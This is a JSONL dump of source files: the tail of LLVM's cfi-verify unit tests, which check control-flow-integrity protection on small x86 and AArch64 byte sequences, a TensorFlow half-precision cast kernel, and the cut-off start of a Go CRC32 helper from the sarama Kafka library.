Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_THAT(XRefs, UnorderedElementsAre(\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 1)),\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 36))));\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 4);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_THAT(XRefs, UnorderedElementsAre(\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 38))));\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 6);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 8);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 10);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_THAT(XRefs, UnorderedElementsAre(\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 8))));\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 12);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 17);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_THAT(XRefs, UnorderedElementsAre(\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 10)),\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 12))));\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 22);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 27);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 29);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 31);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_THAT(XRefs, UnorderedElementsAre(\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 22)),\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 29))));\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 33);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_THAT(XRefs, UnorderedElementsAre(\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 31))));\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 34);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 36);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 38);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(Analysis.getDirectControlFlowXRefs(*InstrMetaPtr).empty());\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionInvalidTargets) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x90, // 0: nop\n 0x0f, 0x0b, // 1: ud2\n 0x75, 0x00, // 3: jne 5 [+0]\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF);\n EXPECT_EQ(CFIProtectionStatus::FAIL_NOT_INDIRECT_CF,\n Analysis.validateCFIProtection(Result));\n Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 1);\n EXPECT_EQ(CFIProtectionStatus::FAIL_NOT_INDIRECT_CF,\n Analysis.validateCFIProtection(Result));\n Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 3);\n EXPECT_EQ(CFIProtectionStatus::FAIL_NOT_INDIRECT_CF,\n Analysis.validateCFIProtection(Result));\n Result = GraphBuilder::buildFlowGraph(Analysis, 0x12345678);\n EXPECT_EQ(CFIProtectionStatus::FAIL_INVALID_INSTRUCTION,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionBasicFallthroughToUd2) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x02, // 0: jne 4 [+2]\n 0x0f, 0x0b, // 2: ud2\n 0xff, 0x10, // 4: callq *(%rax)\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 4);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionBasicJumpToUd2) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x02, // 0: jne 4 [+2]\n 0xff, 0x10, // 2: callq *(%rax)\n 0x0f, 0x0b, // 4: ud2\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 2);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionDualPathUd2) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x03, // 0: jne 5 [+3]\n 0x90, // 2: nop\n 0xff, 0x10, // 3: callq *(%rax)\n 0x0f, 0x0b, // 5: ud2\n 0x75, 0xf9, // 7: jne 2 [-7]\n 0x0f, 0x0b, // 9: ud2\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 3);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionDualPathSingleUd2) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x05, // 0: jne 7 [+5]\n 0x90, // 2: nop\n 0xff, 0x10, // 3: callq *(%rax)\n 0x75, 0xfb, // 5: jne 2 [-5]\n 0x0f, 0x0b, // 7: ud2\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 3);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionDualFailLimitUpwards) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x06, // 0: jne 8 [+6]\n 0x90, // 2: nop\n 0x90, // 3: nop\n 0x90, // 4: nop\n 0x90, // 5: nop\n 0xff, 0x10, // 6: callq *(%rax)\n 0x0f, 0x0b, // 8: ud2\n },\n 0xDEADBEEF);\n uint64_t PrevSearchLengthForConditionalBranch =\n SearchLengthForConditionalBranch;\n SearchLengthForConditionalBranch = 2;\n\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 6);\n EXPECT_EQ(CFIProtectionStatus::FAIL_ORPHANS,\n Analysis.validateCFIProtection(Result));\n\n SearchLengthForConditionalBranch = PrevSearchLengthForConditionalBranch;\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionDualFailLimitDownwards) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x02, // 0: jne 4 [+2]\n 0xff, 0x10, // 2: callq *(%rax)\n 0x90, // 4: nop\n 0x90, // 5: nop\n 0x90, // 6: nop\n 0x90, // 7: nop\n 0x0f, 0x0b, // 8: ud2\n },\n 0xDEADBEEF);\n uint64_t PrevSearchLengthForUndef = SearchLengthForUndef;\n SearchLengthForUndef = 2;\n\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 2);\n EXPECT_EQ(CFIProtectionStatus::FAIL_BAD_CONDITIONAL_BRANCH,\n Analysis.validateCFIProtection(Result));\n\n SearchLengthForUndef = PrevSearchLengthForUndef;\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionGoodAndBadPaths) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0xeb, 0x02, // 0: jmp 4 [+2]\n 0x75, 0x02, // 2: jne 6 [+2]\n 0xff, 0x10, // 4: callq *(%rax)\n 0x0f, 0x0b, // 6: ud2\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 4);\n EXPECT_EQ(CFIProtectionStatus::FAIL_ORPHANS,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionWithUnconditionalJumpInFallthrough) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x04, // 0: jne 6 [+4]\n 0xeb, 0x00, // 2: jmp 4 [+0]\n 0xff, 0x10, // 4: callq *(%rax)\n 0x0f, 0x0b, // 6: ud2\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 4);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionComplexExample) {\n if (!SuccessfullyInitialised)\n return;\n // See unittests/GraphBuilder.cpp::BuildFlowGraphComplexExample for this\n // graph.\n Analysis.parseSectionContents(\n {\n 0x75, 0x12, // 0: jne 20 [+18]\n 0xeb, 0x03, // 2: jmp 7 [+3]\n 0x75, 0x10, // 4: jne 22 [+16]\n 0x90, // 6: nop\n 0x90, // 7: nop\n 0x90, // 8: nop\n 0xff, 0x10, // 9: callq *(%rax)\n 0xeb, 0xfc, // 11: jmp 9 [-4]\n 0x75, 0xfa, // 13: jne 9 [-6]\n 0xe8, 0x78, 0x56, 0x34, 0x12, // 15: callq OUTOFBOUNDS [+0x12345678]\n 0x90, // 20: nop\n 0x90, // 21: nop\n 0x0f, 0x0b, // 22: ud2\n },\n 0xDEADBEEF);\n uint64_t PrevSearchLengthForUndef = SearchLengthForUndef;\n SearchLengthForUndef = 5;\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 9);\n EXPECT_EQ(CFIProtectionStatus::FAIL_ORPHANS,\n Analysis.validateCFIProtection(Result));\n SearchLengthForUndef = PrevSearchLengthForUndef;\n}\n\nTEST_F(BasicX86FileAnalysisTest, UndefSearchLengthOneTest) {\n Analysis.parseSectionContents(\n {\n 0x77, 0x0d, // 0x688118: ja 0x688127 [+12]\n 0x48, 0x89, 0xdf, // 0x68811a: mov %rbx, %rdi\n 0xff, 0xd0, // 0x68811d: callq *%rax\n 0x48, 0x89, 0xdf, // 0x68811f: mov %rbx, %rdi\n 0xe8, 0x09, 0x00, 0x00, 0x00, // 0x688122: callq 0x688130\n 0x0f, 0x0b, // 0x688127: ud2\n },\n 0x688118);\n uint64_t PrevSearchLengthForUndef = SearchLengthForUndef;\n SearchLengthForUndef = 1;\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0x68811d);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n SearchLengthForUndef = PrevSearchLengthForUndef;\n}\n\nTEST_F(BasicX86FileAnalysisTest, UndefSearchLengthOneTestFarAway) {\n Analysis.parseSectionContents(\n {\n 0x74, 0x73, // 0x7759eb: je 0x775a60\n 0xe9, 0x1c, 0x04, 0x00, 0x00, 0x00, // 0x7759ed: jmpq 0x775e0e\n },\n 0x7759eb);\n\n Analysis.parseSectionContents(\n {\n 0x0f, 0x85, 0xb2, 0x03, 0x00, 0x00, // 0x775a56: jne 0x775e0e\n 0x48, 0x83, 0xc3, 0xf4, // 0x775a5c: add $0xfffffffffffffff4,%rbx\n 0x48, 0x8b, 0x7c, 0x24, 0x10, // 0x775a60: mov 0x10(%rsp),%rdi\n 0x48, 0x89, 0xde, // 0x775a65: mov %rbx,%rsi\n 0xff, 0xd1, // 0x775a68: callq *%rcx\n },\n 0x775a56);\n\n Analysis.parseSectionContents(\n {\n 0x0f, 0x0b, // 0x775e0e: ud2\n },\n 0x775e0e);\n uint64_t PrevSearchLengthForUndef = SearchLengthForUndef;\n SearchLengthForUndef = 1;\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0x775a68);\n EXPECT_EQ(CFIProtectionStatus::FAIL_BAD_CONDITIONAL_BRANCH,\n Analysis.validateCFIProtection(Result));\n SearchLengthForUndef = 2;\n Result = GraphBuilder::buildFlowGraph(Analysis, 0x775a68);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n SearchLengthForUndef = 3;\n Result = GraphBuilder::buildFlowGraph(Analysis, 0x775a68);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n SearchLengthForUndef = PrevSearchLengthForUndef;\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionClobberSinglePathExplicit) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x02, // 0: jne 4 [+2]\n 0x0f, 0x0b, // 2: ud2\n 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, // 4: add $0x0, %rax\n 0xff, 0x10, // 10: callq *(%rax)\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 10);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionClobberSinglePathExplicit2) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x02, // 0: jne 4 [+2]\n 0x0f, 0x0b, // 2: ud2\n 0x48, 0x83, 0xc0, 0x00, // 4: add $0x0, %rax\n 0xff, 0x10, // 8: callq *(%rax)\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 8);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionClobberSinglePathImplicit) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x02, // 0: jne 4 [+2]\n 0x0f, 0x0b, // 2: ud2\n 0x05, 0x00, 0x00, 0x00, 0x00, // 4: add $0x0, %eax\n 0xff, 0x10, // 9: callq *(%rax)\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 9);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFIProtectionClobberDualPathImplicit) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x75, 0x04, // 0: jne 6 [+4]\n 0x0f, 0x31, // 2: rdtsc (note: affects eax)\n 0xff, 0x10, // 4: callq *(%rax)\n 0x0f, 0x0b, // 6: ud2\n 0x75, 0xf9, // 8: jne 2 [-7]\n 0x0f, 0x0b, // 10: ud2\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 4);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64BasicUnprotected) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x00, 0x01, 0x3f, 0xd6, // 0: blr x8\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF);\n EXPECT_EQ(CFIProtectionStatus::FAIL_ORPHANS,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64BasicProtected) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x00, 0x01, 0x3f, 0xd6, // 8: blr x8\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 8);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberBasic) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x08, 0x05, 0x00, 0x91, // 8: add x8, x8, #1\n 0x00, 0x01, 0x3f, 0xd6, // 12: blr x8\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 12);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberOneLoad) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x21, 0x09, 0x40, 0xf9, // 8: ldr x1, [x9,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 12: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 12);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberLoadAddGood) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x21, 0x04, 0x00, 0x91, // 8: add x1, x1, #1\n 0x21, 0x09, 0x40, 0xf9, // 12: ldr x1, [x9,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 16: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 16);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberLoadAddBad) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x21, 0x09, 0x40, 0xf9, // 8: ldr x1, [x9,#16]\n 0x21, 0x04, 0x00, 0x91, // 12: add x1, x1, #1\n 0x20, 0x00, 0x1f, 0xd6, // 16: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 16);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberLoadAddBad2) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x29, 0x04, 0x00, 0x91, // 16: add x9, x1, #1\n 0x21, 0x09, 0x40, 0xf9, // 12: ldr x1, [x9,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 16: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 16);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberTwoLoads) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x21, 0x09, 0x40, 0xf9, // 8: ldr x1, [x9,#16]\n 0x21, 0x08, 0x40, 0xf9, // 12: ldr x1, [x1,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 16: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 16);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberUnrelatedSecondLoad) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x21, 0x09, 0x40, 0xf9, // 8: ldr x1, [x9,#16]\n 0x21, 0x09, 0x40, 0xf9, // 12: ldr x1, [x9,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 16: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 16);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64ClobberUnrelatedLoads) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x49, 0x00, 0x00, 0x54, // 0: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 4: brk #0x1\n 0x22, 0x09, 0x40, 0xf9, // 8: ldr x2, [x9,#16]\n 0x22, 0x08, 0x40, 0xf9, // 12: ldr x2, [x1,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 16: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 16);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64GoodAndBadPaths) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x03, 0x00, 0x00, 0x14, // 0: b 12\n 0x49, 0x00, 0x00, 0x54, // 4: b.ls 8\n 0x20, 0x00, 0x20, 0xd4, // 8: brk #0x1\n 0x20, 0x00, 0x1f, 0xd6, // 12: br x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 12);\n EXPECT_EQ(CFIProtectionStatus::FAIL_ORPHANS,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64TwoPaths) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0xc9, 0x00, 0x00, 0x54, // 0: b.ls 24\n 0x21, 0x08, 0x40, 0xf9, // 4: ldr x1, [x1,#16]\n 0x03, 0x00, 0x00, 0x14, // 8: b 12\n 0x69, 0x00, 0x00, 0x54, // 12: b.ls 12\n 0x21, 0x08, 0x40, 0xf9, // 16: ldr x1, [x1,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 20: br x1\n 0x20, 0x00, 0x20, 0xd4, // 24: brk #0x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 20);\n EXPECT_EQ(CFIProtectionStatus::PROTECTED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64TwoPathsBadLoad1) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0xe9, 0x00, 0x00, 0x54, // 0: b.ls 28\n 0x21, 0x08, 0x40, 0xf9, // 4: ldr x1, [x1,#16]\n 0x21, 0x08, 0x40, 0xf9, // 8: ldr x1, [x1,#16]\n 0x03, 0x00, 0x00, 0x14, // 12: b 12\n 0x69, 0x00, 0x00, 0x54, // 16: b.ls 12\n 0x21, 0x08, 0x40, 0xf9, // 20: ldr x1, [x1,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 24: br x1\n 0x20, 0x00, 0x20, 0xd4, // 28: brk #0x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 24);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\nTEST_F(BasicAArch64FileAnalysisTest, AArch64TwoPathsBadLoad2) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0xe9, 0x00, 0x00, 0x54, // 0: b.ls 28\n 0x21, 0x08, 0x40, 0xf9, // 4: ldr x1, [x1,#16]\n 0x03, 0x00, 0x00, 0x14, // 8: b 12\n 0x89, 0x00, 0x00, 0x54, // 12: b.ls 16\n 0x21, 0x08, 0x40, 0xf9, // 16: ldr x1, [x1,#16]\n 0x21, 0x08, 0x40, 0xf9, // 20: ldr x1, [x1,#16]\n 0x20, 0x00, 0x1f, 0xd6, // 24: br x1\n 0x20, 0x00, 0x20, 0xd4, // 28: brk #0x1\n },\n 0xDEADBEEF);\n GraphResult Result = GraphBuilder::buildFlowGraph(Analysis, 0xDEADBEEF + 24);\n EXPECT_EQ(CFIProtectionStatus::FAIL_REGISTER_CLOBBERED,\n Analysis.validateCFIProtection(Result));\n}\n\n} // anonymous namespace\n} // end namespace cfi_verify\n} // end namespace llvm\n\nint main(int argc, char **argv) {\n ::testing::InitGoogleTest(&argc, argv);\n llvm::cl::ParseCommandLineOptions(argc, argv);\n\n llvm::InitializeAllTargetInfos();\n llvm::InitializeAllTargetMCs();\n llvm::InitializeAllAsmParsers();\n llvm::InitializeAllDisassemblers();\n\n return RUN_ALL_TESTS();\n}\n"} +{"text": "/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*/\n\n#include \"tensorflow/core/kernels/cast_op_impl.h\"\n\nnamespace tensorflow {\n\ntypedef Eigen::ThreadPoolDevice CPUDevice;\ntypedef Eigen::GpuDevice GPUDevice;\n\nstd::function\nGetCpuCastFromHalf(DataType dst_dtype) {\n CURRY_TYPES3(CAST_CASE, CPUDevice, Eigen::half);\n return nullptr;\n}\n\n#if GOOGLE_CUDA\nstd::function\nGetGpuCastFromHalf(DataType dst_dtype) {\n CURRY_TYPES3(CAST_CASE, GPUDevice, Eigen::half);\n return nullptr;\n}\n#endif // GOOGLE_CUDA\n\n} // namespace tensorflow\n"} +{"text": "package sarama\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"hash/crc32\"\n)\n\ntype crcPolynomial int8\n\nconst (\n\tcrcIEEE crcPolynomial = iota\n\tcrcCastagnoli\n)\n\nvar castagnoliTable = crc32.MakeTable(crc32.Castagnoli)\n\n// crc32Field implements the pushEncoder and pushDecoder interfaces for calculating CRC32s.\ntype crc32Field struct {\n\tstartOffset int\n\tpolynomial crcPolynomial\n}\n\nfunc (c *crc32Field) saveOffset(in int) {\n\tc.startOffset = in\n}\n\nfunc (c *crc32Field) reserveLength() int {\n\treturn 4\n}\n\nfunc newCRC32Field(polynomial crcPolynomial) *crc32Field {\n\treturn &crc32Field{polynomial: polynomial}\n}\n\nfunc (c *crc32Field) run(curOffset int, buf []byte) error {\n\tcrc, err := c.crc(curOffset, buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbinary.BigEndian.PutUint32(buf[c.startOffset:], crc)\n\treturn nil\n}\n\nfunc (c *crc32Field) check(curOffset int, buf []byte) error {\n\tcrc, err := c.crc(curOffset, buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\texpected := binary.BigEndian.Uint32(buf[c.startOffset:])\n\tif crc != expected {\n\t\treturn PacketDecodingError{fmt.Sprintf(\"CRC didn't match expected %#x got 